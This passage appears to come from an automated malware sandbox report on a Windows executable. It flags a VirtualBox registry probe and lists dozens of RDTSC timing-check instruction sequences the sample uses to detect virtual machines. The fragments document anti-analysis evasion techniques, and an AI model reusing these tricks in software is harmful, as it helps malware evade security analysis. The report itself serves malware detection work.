Source: C:\Users\user\Desktop\hiip7UoiAq.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: CD7C0E second address: CD7C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4A6EA second address: E4A6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6190F2920Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4988C second address: E498BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6190F124D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6190F124D0h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E498BB second address: E498C5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6190F29206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E49C98 second address: E49C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E49C9C second address: E49CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007F6190F29206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E49DFF second address: E49E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E49E03 second address: E49E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29216h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E49E1D second address: E49E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E49F9D second address: E49FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C578 second address: E4C586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C586 second address: E4C58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C58A second address: E4C58E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C58E second address: E4C59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C59F second address: E4C5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6190F124D4h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jl 00007F6190F124DFh 0x00000013 jp 00007F6190F124D9h 0x00000019 jmp 00007F6190F124D3h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push edx 0x00000024 jmp 00007F6190F124D2h 0x00000029 pop edx 0x0000002a push eax 0x0000002b push edx 0x0000002c je 00007F6190F124C6h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C5FB second address: CD7C0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 xor dword ptr [ebp+122D35CAh], edi 0x0000000e push dword ptr [ebp+122D09A5h] 0x00000014 add ecx, dword ptr [ebp+122D2B1Bh] 0x0000001a call dword ptr [ebp+122D2F37h] 0x00000020 pushad 0x00000021 jnp 00007F6190F29212h 0x00000027 xor eax, eax 0x00000029 jp 00007F6190F2920Ch 0x0000002f mov edx, dword ptr [esp+28h] 0x00000033 ja 00007F6190F29210h 0x00000039 pushad 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c or dword ptr [ebp+122D34AEh], eax 0x00000042 popad 0x00000043 mov dword ptr [ebp+122D2C3Fh], eax 0x00000049 cld 0x0000004a mov esi, 0000003Ch 0x0000004f jmp 00007F6190F29217h 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 jmp 00007F6190F29216h 0x0000005d lodsw 0x0000005f clc 0x00000060 add eax, dword ptr [esp+24h] 0x00000064 clc 0x00000065 mov ebx, dword ptr [esp+24h] 0x00000069 jmp 00007F6190F29219h 0x0000006e nop 0x0000006f push eax 0x00000070 push edx 0x00000071 jns 00007F6190F29208h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C663 second address: E4C702 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 xor dword ptr [esp], 1DAA91FDh 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F6190F124C8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000003h 0x0000002a xor edx, 5EEF43F7h 0x00000030 sub dword ptr [ebp+122D34DEh], ecx 0x00000036 push 00000000h 0x00000038 jmp 00007F6190F124D1h 0x0000003d push 00000003h 0x0000003f pushad 0x00000040 adc bx, A326h 0x00000045 mov si, 5FE7h 0x00000049 popad 0x0000004a push 9F39C73Ah 0x0000004f jmp 00007F6190F124D5h 0x00000054 xor dword ptr [esp], 5F39C73Ah 0x0000005b sub ecx, dword ptr [ebp+122D2A67h] 0x00000061 lea ebx, dword ptr [ebp+124484E3h] 0x00000067 xchg eax, ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F6190F124D2h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C702 second address: E4C71F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C71F second address: E4C749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnl 00007F6190F124CCh 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C7C0 second address: E4C800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F2920Eh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d sub dword ptr [ebp+122D34AEh], esi 0x00000013 push 00000000h 0x00000015 push 2BE3F142h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F6190F2920Dh 0x00000022 jmp 00007F6190F2920Ch 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C92B second address: E4C941 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6190F124CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C941 second address: E4C945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E4C945 second address: E4C94F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D653 second address: E6D657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D657 second address: E6D65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E3505C second address: E35064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E35064 second address: E3506A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E3506A second address: E35071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B487 second address: E6B4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6190F124C6h 0x0000000a jns 00007F6190F124C6h 0x00000010 jmp 00007F6190F124D6h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B4B6 second address: E6B4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B4BE second address: E6B4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B741 second address: E6B747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B747 second address: E6B761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B761 second address: E6B767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B767 second address: E6B790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F6190F124CBh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6190F124D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6B8FB second address: E6B8FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BA40 second address: E6BA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BBD6 second address: E6BBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F6190F29206h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BBE7 second address: E6BC03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BD67 second address: E6BD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BD6B second address: E6BD71 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BD71 second address: E6BD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6190F2920Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BD88 second address: E6BD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6BD8C second address: E6BD90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C034 second address: E6C03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C03F second address: E6C043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C2BE second address: E6C2C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C2C4 second address: E6C2E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29219h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C2E1 second address: E6C2E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C2E5 second address: E6C2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C2F0 second address: E6C2FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6190F124C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C2FC second address: E6C31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6190F2920Ah 0x00000010 jbe 00007F6190F2920Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C65D second address: E6C677 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F6190F124D2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C677 second address: E6C6BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6190F2920Eh 0x00000008 jmp 00007F6190F2920Eh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jc 00007F6190F29206h 0x00000015 popad 0x00000016 jl 00007F6190F29208h 0x0000001c push esi 0x0000001d pop esi 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jns 00007F6190F29214h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E622CC second address: E622D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E622D0 second address: E622DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C83B second address: E6C83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C83F second address: E6C85F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jo 00007F6190F29206h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6C85F second address: E6C864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6CDBD second address: E6CDC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6CDC1 second address: E6CDD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F6190F124C8h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6CDD7 second address: E6CDDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6CDDB second address: E6CDE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6CDE1 second address: E6CDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6CDE7 second address: E6CDF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6190F124CBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D1C0 second address: E6D1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F6190F29213h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D1E0 second address: E6D1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D1E4 second address: E6D1EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D1EA second address: E6D1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E6D49C second address: E6D4B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E70E4F second address: E70E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E712DA second address: E712E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E71465 second address: E71498 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6190F124D5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E71498 second address: E714B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F6190F29211h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E714B9 second address: E714D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7162A second address: E7165E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jg 00007F6190F2920Ch 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007F6190F29211h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E75BC1 second address: E75BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6190F124C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E3353E second address: E33542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E33542 second address: E33548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E33548 second address: E3355A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F6190F2920Ch 0x0000000c jbe 00007F6190F29206h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E3355A second address: E33562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7821D second address: E78237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29216h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7ECCA second address: E7ECCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7ECCE second address: E7ECD8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6190F29206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7ECD8 second address: E7ED21 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F6190F124C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007F6190F124D6h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push edx 0x00000018 jnp 00007F6190F124C8h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 pop edx 0x00000021 mov eax, dword ptr [eax] 0x00000023 push ecx 0x00000024 jno 00007F6190F124CCh 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7ED21 second address: E7ED27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
